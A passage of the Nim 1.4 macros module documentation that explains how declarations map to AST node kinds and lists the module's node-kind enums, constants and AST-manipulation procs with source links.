nnkIdent("MyProc"), nnkGenericParams( # here, not with the proc # ... ) nnkProcTy( # behaves like a procedure declaration from here on nnkFormalParams( # ... ) ) ) ``` The same syntax applies to `iterator` (with `nnkIteratorTy`), but *does not* apply to `converter` or `template`. ### Mixin statement Concrete syntax: ``` mixin x ``` AST: ``` nnkMixinStmt(nnkIdent("x")) ``` ### Bind statement Concrete syntax: ``` bind x ``` AST: ``` nnkBindStmt(nnkIdent("x")) ``` ### Procedure declaration Let's take a look at a procedure with a lot of interesting aspects to get a feel for how procedure calls are broken down. Concrete syntax: ``` proc hello*[T: SomeInteger](x: int = 3, y: float32): int {.inline.} = discard ``` AST: ``` nnkProcDef( nnkPostfix(nnkIdent("*"), nnkIdent("hello")), # the exported proc name nnkEmpty(), # patterns for term rewriting in templates and macros (not procs) nnkGenericParams( # generic type parameters, like with type declaration nnkIdentDefs( nnkIdent("T"), nnkIdent("SomeInteger"), nnkEmpty() ) ), nnkFormalParams( nnkIdent("int"), # the first FormalParam is the return type. nnkEmpty() if there is none nnkIdentDefs( nnkIdent("x"), nnkIdent("int"), # type type (required for procs, not for templates) nnkIntLit(3) # a default value ), nnkIdentDefs( nnkIdent("y"), nnkIdent("float32"), nnkEmpty() ) ), nnkPragma(nnkIdent("inline")), nnkEmpty(), # reserved slot for future use nnkStmtList(nnkDiscardStmt(nnkEmpty())) # the meat of the proc ) ``` There is another consideration. Nim has flexible type identification for its procs. Even though `proc(a: int, b: int)` and `proc(a, b: int)` are equivalent in the code, the AST is a little different for the latter. Concrete syntax: ``` proc(a, b: int) ``` AST: ``` # ...AST as above... nnkFormalParams( nnkEmpty(), # no return here nnkIdentDefs( nnkIdent("a"), # the first parameter nnkIdent("b"), # directly to the second parameter nnkIdent("int"), # their shared type identifier nnkEmpty(), # default value would go here ) ), # ... ``` When a procedure uses the special `var` type return variable, the result is different from that of a var section. Concrete syntax: ``` proc hello(): var int ``` AST: ``` # ... nnkFormalParams( nnkVarTy( nnkIdent("int") ) ) ``` ### Iterator declaration The syntax for iterators is similar to procs, but with `nnkIteratorDef` replacing `nnkProcDef`. Concrete syntax: ``` iterator nonsense[T](x: seq[T]): float {.closure.} = ... ``` AST: ``` nnkIteratorDef( nnkIdent("nonsense"), nnkEmpty(), ... ) ``` ### Converter declaration A converter is similar to a proc. Concrete syntax: ``` converter toBool(x: float): bool ``` AST: ``` nnkConverterDef( nnkIdent("toBool"), # ... ) ``` ### Template declaration Templates (as well as macros, as we'll see) have a slightly expanded AST when compared to procs and iterators. The reason for this is [term-rewriting macros](manual.html#term-rewriting-macros). Notice the `nnkEmpty()` as the second argument to `nnkProcDef` and `nnkIteratorDef` above? That's where the term-rewriting macros go. Concrete syntax: ``` template optOpt{expr1}(a: int): int ``` AST: ``` nnkTemplateDef( nnkIdent("optOpt"), nnkStmtList( # instead of nnkEmpty() expr1 ), # follows like a proc or iterator ) ``` If the template does not have types for its parameters, the type identifiers inside `nnkFormalParams` just becomes `nnkEmpty`. ### Macro declaration Macros behave like templates, but `nnkTemplateDef` is replaced with `nnkMacroDef`. Special node kinds ------------------ There are several node kinds that are used for semantic checking or code generation. These are accessible from this module, but should not be used. Other node kinds are especially designed to make AST manipulations easier. These are explained here. To be written. Imports ------- <since> Types ----- ``` NimNodeKind = enum nnkNone, nnkEmpty, nnkIdent, nnkSym, nnkType, nnkCharLit, nnkIntLit, nnkInt8Lit, nnkInt16Lit, nnkInt32Lit, nnkInt64Lit, nnkUIntLit, nnkUInt8Lit, nnkUInt16Lit, nnkUInt32Lit, nnkUInt64Lit, nnkFloatLit, nnkFloat32Lit, nnkFloat64Lit, nnkFloat128Lit, nnkStrLit, nnkRStrLit, nnkTripleStrLit, nnkNilLit, nnkComesFrom, nnkDotCall, nnkCommand, nnkCall, nnkCallStrLit, nnkInfix, nnkPrefix, nnkPostfix, nnkHiddenCallConv, nnkExprEqExpr, nnkExprColonExpr, nnkIdentDefs, nnkVarTuple, nnkPar, nnkObjConstr, nnkCurly, nnkCurlyExpr, nnkBracket, nnkBracketExpr, nnkPragmaExpr, nnkRange, nnkDotExpr, nnkCheckedFieldExpr, nnkDerefExpr, nnkIfExpr, nnkElifExpr, nnkElseExpr, nnkLambda, nnkDo, nnkAccQuoted, nnkTableConstr, nnkBind, nnkClosedSymChoice, nnkOpenSymChoice, nnkHiddenStdConv, nnkHiddenSubConv, nnkConv, nnkCast, nnkStaticExpr, nnkAddr, nnkHiddenAddr, nnkHiddenDeref, nnkObjDownConv, nnkObjUpConv, nnkChckRangeF, nnkChckRange64, nnkChckRange, nnkStringToCString, nnkCStringToString, nnkAsgn, nnkFastAsgn, nnkGenericParams, nnkFormalParams, nnkOfInherit, nnkImportAs, nnkProcDef, nnkMethodDef, nnkConverterDef, nnkMacroDef, nnkTemplateDef, nnkIteratorDef, nnkOfBranch, nnkElifBranch, nnkExceptBranch, nnkElse, nnkAsmStmt, nnkPragma, nnkPragmaBlock, nnkIfStmt, nnkWhenStmt, nnkForStmt, nnkParForStmt, nnkWhileStmt, nnkCaseStmt, nnkTypeSection, nnkVarSection, nnkLetSection, nnkConstSection, nnkConstDef, nnkTypeDef, nnkYieldStmt, nnkDefer, nnkTryStmt, nnkFinally, nnkRaiseStmt, nnkReturnStmt, nnkBreakStmt, nnkContinueStmt, nnkBlockStmt, nnkStaticStmt, nnkDiscardStmt, nnkStmtList, nnkImportStmt, nnkImportExceptStmt, nnkExportStmt, nnkExportExceptStmt, nnkFromStmt, nnkIncludeStmt, nnkBindStmt, nnkMixinStmt, nnkUsingStmt, nnkCommentStmt, nnkStmtListExpr, nnkBlockExpr, nnkStmtListType, nnkBlockType, nnkWith, nnkWithout, nnkTypeOfExpr, nnkObjectTy, nnkTupleTy, nnkTupleClassTy, nnkTypeClassTy, nnkStaticTy, nnkRecList, nnkRecCase, nnkRecWhen, nnkRefTy, nnkPtrTy, nnkVarTy, nnkConstTy, nnkMutableTy, nnkDistinctTy, nnkProcTy, nnkIteratorTy, nnkSharedTy, nnkEnumTy, nnkEnumFieldDef, nnkArglist, nnkPattern, nnkHiddenTryStmt, nnkClosure, nnkGotoState, nnkState, nnkBreakState, nnkFuncDef, nnkTupleConstr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L26) ``` NimNodeKinds = set[NimNodeKind] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L90) ``` NimTypeKind = enum ntyNone, ntyBool, ntyChar, ntyEmpty, ntyAlias, ntyNil, ntyExpr, ntyStmt, ntyTypeDesc, ntyGenericInvocation, ntyGenericBody, ntyGenericInst, ntyGenericParam, ntyDistinct, ntyEnum, ntyOrdinal, ntyArray, ntyObject, ntyTuple, ntySet, ntyRange, ntyPtr, ntyRef, ntyVar, ntySequence, ntyProc, ntyPointer, ntyOpenArray, ntyString, ntyCString, ntyForward, ntyInt, ntyInt8, ntyInt16, ntyInt32, ntyInt64, ntyFloat, ntyFloat32, ntyFloat64, ntyFloat128, ntyUInt, ntyUInt8, ntyUInt16, ntyUInt32, ntyUInt64, ntyUnused0, ntyUnused1, ntyUnused2, ntyVarargs, ntyUncheckedArray, ntyError, ntyBuiltinTypeClass, ntyUserTypeClass, ntyUserTypeClassInst, ntyCompositeTypeClass, ntyInferred, ntyAnd, ntyOr, ntyNot, ntyAnything, ntyStatic, ntyFromExpr, ntyOptDeprecated, ntyVoid ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L91) ``` TNimTypeKinds {...}{.deprecated.} = set[NimTypeKind] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L111) ``` NimSymKind = enum nskUnknown, nskConditional, nskDynLib, nskParam, nskGenericParam, nskTemp, nskModule, nskType, nskVar, nskLet, nskConst, nskResult, nskProc, nskFunc, nskMethod, nskIterator, nskConverter, nskMacro, nskTemplate, nskField, nskEnumField, nskForVar, nskLabel, nskStub ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L112) ``` TNimSymKinds {...}{.deprecated.} = set[NimSymKind] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L121) ``` NimIdent {...}{.deprecated.} = object of RootObj ``` Represents a Nim identifier in the AST. **Note**: This is only rarely useful, for identifier construction from a string use `ident"abc"`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L124) ``` NimSym {...}{.deprecated.} = ref NimSymObj ``` Represents a Nim *symbol* in the compiler; a *symbol* is a looked-up *ident*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L130) ``` BindSymRule = enum brClosed, ## only the symbols in current scope are bound brOpen, ## open wrt overloaded symbols, but may be a single ## symbol if not ambiguous (the rules match that of ## binding in generics) brForceOpen ## same as brOpen, but it will always be open even ## if not ambiguous (this cannot be achieved with ## any other means in the language currently) ``` specifies how `bindSym` behaves [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L465) ``` LineInfo = object filename*: string line*, column*: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L508) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L508) Consts ------ ``` nnkLiterals = {nnkCharLit..nnkNilLit} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L136) ``` nnkCallKinds = {nnkCall, nnkInfix, nnkPrefix, nnkPostfix, nnkCommand, nnkCallStrLit} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L137) ``` RoutineNodes = {nnkProcDef, nnkFuncDef, nnkMethodDef, nnkDo, nnkLambda, nnkIteratorDef, nnkTemplateDef, nnkConverterDef, nnkMacroDef} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1081) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1081) ``` AtomicNodes = {nnkNone..nnkNilLit} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1083) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1083) ``` CallNodes = {nnkCall, nnkInfix, nnkPrefix, nnkPostfix, nnkCommand, nnkCallStrLit, nnkHiddenCallConv} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L1084) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L1084) Procs ----- ``` proc toNimIdent(s: string): NimIdent {...}{.magic: "StrToIdent", noSideEffect, deprecated: "Deprecated since version 0.18.0: Use \'ident\' or \'newIdentNode\' instead.".} ``` **Deprecated:** Deprecated since version 0.18.0: Use 'ident' or 'newIdentNode' instead. Constructs an identifier from the string `s`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L143) ``` proc `==`(a, b: NimIdent): bool {...}{.magic: "EqIdent", noSideEffect, deprecated: "Deprecated since version 0.18.1; Use \'==\' on \'NimNode\' instead.".} ``` **Deprecated:** Deprecated since version 0.18.1; Use '==' on 'NimNode' instead. Compares two Nim identifiers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L147) ``` proc `==`(a, b: NimNode): bool {...}{.magic: "EqNimrodNode", noSideEffect.} ``` Compare two Nim nodes. Return true if nodes are structurally equivalent. This means two independently created nodes can be equal. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L151) ``` proc `==`(a, b: NimSym): bool {...}{.magic: "EqNimrodNode", noSideEffect, deprecated: "Deprecated since version 0.18.1; Use \'==(NimNode, NimNode)\' instead.".} ``` **Deprecated:** Deprecated since version 0.18.1; Use '==(NimNode, NimNode)' instead. Compares two Nim symbols. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L155) ``` proc sameType(a, b: NimNode): bool {...}{.magic: "SameNodeType", noSideEffect, raises: [], tags: [].} ``` Compares two Nim nodes' types. Return true if the types are the same, e.g. true when comparing alias with original type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L161) ``` proc len(n: NimNode): int {...}{.magic: "NLen", noSideEffect.} ``` Returns the number of children of `n`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L166) ``` proc `[]`(n: NimNode; i: int): NimNode {...}{.magic: "NChild", noSideEffect.} ``` Get `n`'s `i`'th child. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L169) ``` proc `[]`(n: NimNode; i: BackwardsIndex): NimNode {...}{.raises: [], tags: [].} ``` Get `n`'s `i`'th child. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L172) ``` proc `[]`[T, U](n: NimNode; x: HSlice[T, U]): seq[NimNode] ``` Slice operation for NimNode. Returns a seq of child of `n` who inclusive range [n[x.a], n[x.b]]. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L178) ``` proc `[]=`(n: NimNode; i: int; child: NimNode) {...}{.magic: "NSetChild", noSideEffect.} ``` Set `n`'s `i`'th child to `child`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L187) ``` proc `[]=`(n: NimNode; i: BackwardsIndex; child: NimNode) {...}{.raises: [], tags: [].} ``` Set `n`'s `i`'th child to `child`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L191) ``` proc add(father, child: NimNode): NimNode {...}{.magic: "NAdd", discardable, noSideEffect, locks: 0.} ``` Adds the `child` to the `father` node. Returns the father node so that calls can be nested. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L210) ``` proc add(father: NimNode; children: varargs[NimNode]): NimNode {...}{. magic: "NAddMultiple", discardable, noSideEffect, locks: 0.} ``` Adds each child of `children` to the `father` node. Returns the `father` node so that calls can be nested. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L215) ``` proc del(father: NimNode; idx = 0; n = 1) {...}{.magic: "NDel", noSideEffect.} ``` Deletes `n` children of `father` starting at index `idx`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L220) ``` proc kind(n: NimNode): NimNodeKind {...}{.magic: "NKind", noSideEffect.} ``` Returns the `kind` of the node `n`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L223) ``` proc intVal(n: NimNode): BiggestInt {...}{.magic: "NIntVal", noSideEffect.} ``` Returns an integer value from any integer literal or enum field symbol. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L226) ``` proc floatVal(n: NimNode): BiggestFloat {...}{.magic: "NFloatVal", noSideEffect.} ``` Returns a float from any floating point literal. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L229) ``` proc ident(n: NimNode): NimIdent {...}{.magic: "NIdent", noSideEffect, deprecated: "Deprecated since version 0.18.1; All functionality is defined on \'NimNode\'.".} ``` **Deprecated:** Deprecated since version 0.18.1; All functionality is defined on 'NimNode'. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L234) ``` proc symbol(n: NimNode): NimSym {...}{.magic: "NSymbol", noSideEffect, deprecated: "Deprecated since version 0.18.1; All functionality is defined on \'NimNode\'.".} ``` **Deprecated:** Deprecated since version 0.18.1; All functionality is defined on 'NimNode'. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L237) ``` proc getImpl(s: NimSym): NimNode {...}{.magic: "GetImpl", noSideEffect, deprecated: "use `getImpl: NimNode -> NimNode` instead".} ``` **Deprecated:** use `getImpl: NimNode -> NimNode` instead [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L240) ``` proc symKind(symbol: NimNode): NimSymKind {...}{.magic: "NSymKind", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L243) ``` proc getImpl(symbol: NimNode): NimNode {...}{.magic: "GetImpl", noSideEffect.} ``` Returns a copy of the declaration of a symbol or `nil`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L244) ``` proc strVal(n: NimNode): string {...}{.magic: "NStrVal", noSideEffect.} ``` Returns the string value of an identifier, symbol, comment, or string literal. See also: * [strVal= proc](#strVal=,NimNode,string) for setting the string value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L246) ``` proc `$`(i: NimIdent): string {...}{.magic: "NStrVal", noSideEffect, deprecated: "Deprecated since version 0.18.1; Use \'strVal\' instead.".} ``` **Deprecated:** Deprecated since version 0.18.1; Use 'strVal' instead. Converts a Nim identifier to a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L252) ``` proc `$`(s: NimSym): string {...}{.magic: "NStrVal", noSideEffect, deprecated: "Deprecated since version 0.18.1; Use \'strVal\' instead.".} ``` **Deprecated:** Deprecated since version 0.18.1; Use 'strVal' instead. Converts a Nim symbol to a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L256) ``` proc getImplTransformed(symbol: NimNode): NimNode {...}{.magic: "GetImplTransf", noSideEffect.} ``` For a typed proc returns the AST after transformation pass; this is useful for debugging how the compiler transforms code (e.g.: `defer`, `for`) but note that code transformations are implementation dependent and subject to change. See an example in `tests/macros/tmacros_various.nim`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L281) ``` proc owner(sym: NimNode): NimNode {...}{.magic: "SymOwner", noSideEffect.} ``` Accepts a node of kind `nnkSym` and returns its owner's symbol. The meaning of 'owner' depends on `sym`'s `NimSymKind` and declaration context. For top level declarations this is an `nskModule` symbol, for proc local variables an `nskProc` symbol, for enum/object fields an `nskType` symbol, etc. For symbols without an owner, `nil` is returned. See also: * [symKind proc](#symKind,NimNode) to get the kind of a symbol * [getImpl proc](#getImpl,NimNode) to get the declaration of a symbol [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L288) ``` proc isInstantiationOf(instanceProcSym, genProcSym: NimNode): bool {...}{. magic: "SymIsInstantiationOf", noSideEffect.} ``` Checks if a proc symbol is an instance of the generic proc symbol. Useful to check proc symbols against generic symbols returned by `bindSym`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L300) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L300) ``` proc getType(n: NimNode): NimNode {...}{.magic: "NGetType", noSideEffect.} ``` With 'getType' you can access the node's type. A Nim type is mapped to a Nim AST too, so it's slightly confusing but it means the same API can be used to traverse types. Recursive types are flattened for you so there is no danger of infinite recursions during traversal. To resolve recursive types, you have to call 'getType' again. To see what kind of type it is, call `typeKind` on getType's result. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L305) ``` proc getType(n: typedesc): NimNode {...}{.magic: "NGetType", noSideEffect.} ``` Version of `getType` which takes a `typedesc`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L313) ``` proc typeKind(n: NimNode): NimTypeKind {...}{.magic: "NGetType", noSideEffect.} ``` Returns the type kind of the node 'n' that should represent a type, that means the node should have been obtained via `getType`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L316) ``` proc getTypeInst(n: NimNode): NimNode {...}{.magic: "NGetType", noSideEffect, raises: [], tags: [].} ``` Returns the type of a node in a form matching the way the type instance was declared in the code. **Example:** ``` type Vec[N: static[int], T] = object arr: array[N, T] Vec4[T] = Vec[4, T] Vec4f = Vec4[float32] var a: Vec4f var b: Vec4[float32] var c: Vec[4, float32] macro dumpTypeInst(x: typed): untyped = newLit(x.getTypeInst.repr) doAssert(dumpTypeInst(a) == "Vec4f") doAssert(dumpTypeInst(b) == "Vec4[float32]") doAssert(dumpTypeInst(c) == "Vec[4, float32]") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L320) ``` proc getTypeInst(n: typedesc): NimNode {...}{.magic: "NGetType", noSideEffect.} ``` Version of `getTypeInst` which takes a `typedesc`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L338) ``` proc getTypeImpl(n: NimNode): NimNode {...}{.magic: "NGetType", noSideEffect, raises: [], tags: [].} ``` Returns the type of a node in a form matching the implementation of the type. Any intermediate aliases are expanded to arrive at the final type implementation. You can instead use `getImpl` on a symbol if you want to find the intermediate aliases. **Example:** ``` type Vec[N: static[int], T] = object arr: array[N, T] Vec4[T] = Vec[4, T] Vec4f = Vec4[float32] var a: Vec4f var b: Vec4[float32] var c: Vec[4, float32] macro dumpTypeImpl(x: typed): untyped = newLit(x.getTypeImpl.repr) let t = """ object arr: array[0 .. 3, float32] """ doAssert(dumpTypeImpl(a) == t) doAssert(dumpTypeImpl(b) == t) doAssert(dumpTypeImpl(c) == t) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L341) ``` proc signatureHash(n: NimNode): string {...}{.magic: "NSigHash", noSideEffect.} ``` Returns a stable identifier derived from the signature of a symbol. The signature combines many factors such as the type of the symbol, the owning module of the symbol and others. The same identifier is used in the back-end to produce the mangled symbol name. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L366) ``` proc symBodyHash(s: NimNode): string {...}{.noSideEffect, raises: [], tags: [].} ``` Returns a stable digest for symbols derived not only from type signature and owning module, but also implementation body. All procs/variables used in the implementation of this symbol are hashed recursively as well, including magics from system module. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L372) ``` proc getTypeImpl(n: typedesc): NimNode {...}{.magic: "NGetType", noSideEffect.} ``` Version of `getTypeImpl` which takes a `typedesc`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L379) ``` proc intVal=(n: NimNode; val: BiggestInt) {...}{.magic: "NSetIntVal", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L382) ``` proc floatVal=(n: NimNode; val: BiggestFloat) {...}{.magic: "NSetFloatVal", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L383) ``` proc symbol=(n: NimNode; val: NimSym) {...}{.magic: "NSetSymbol", noSideEffect, deprecated: "Deprecated since version 0.18.1; Generate a new \'NimNode\' with \'genSym\' instead.".} ``` **Deprecated:** Deprecated since version 0.18.1; Generate a new 'NimNode' with 'genSym' instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L387) ``` proc ident=(n: NimNode; val: NimIdent) {...}{.magic: "NSetIdent", noSideEffect, deprecated: "Deprecated since version 0.18.1; Generate a new \'NimNode\' with \'ident(string)\' instead.".} ``` **Deprecated:** Deprecated since version 0.18.1; Generate a new 'NimNode' with 'ident(string)' instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L390) ``` proc strVal=(n: NimNode; val: string) {...}{.magic: "NSetStrVal", noSideEffect.} ``` Sets the string value of a string literal or comment. Setting `strVal` is disallowed for `nnkIdent` and `nnkSym` nodes; a new node must be created using `ident` or `bindSym` instead. See also: * [strVal proc](#strVal,NimNode) for getting the string value. * [ident proc](#ident,string) for creating an identifier. * [bindSym proc](#bindSym%2C%2CBindSymRule) for binding a symbol. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L395) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L395) ``` proc newNimNode(kind: NimNodeKind; lineInfoFrom: NimNode = nil): NimNode {...}{. magic: "NNewNimNode", noSideEffect.} ``` Creates a new AST node of the specified kind. The `lineInfoFrom` parameter is used for line information when the produced code crashes. You should ensure that it is set to a node that you are transforming. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L405) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L405) ``` proc copyNimNode(n: NimNode): NimNode {...}{.magic: "NCopyNimNode", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L414) ``` proc copyNimTree(n: NimNode): NimNode {...}{.magic: "NCopyNimTree", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L415) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L415) ``` proc error(msg: string; n: NimNode = nil) {...}{.magic: "NError", gcsafe, locks: 0.} ``` Writes an error message at compile time. The optional `n: NimNode` parameter is used as the source for file and line number information in the compilation error message. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L417) ``` proc warning(msg: string; n: NimNode = nil) {...}{.magic: "NWarning", gcsafe, locks: 0.} ``` Writes a warning message at compile time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L422) ``` proc hint(msg: string; n: NimNode = nil) {...}{.magic: "NHint", gcsafe, locks: 0.} ``` Writes a hint message at compile time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/core/macros.nim#L425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/core/macros.nim#L425) ``` proc newStrLitNode(s: string): 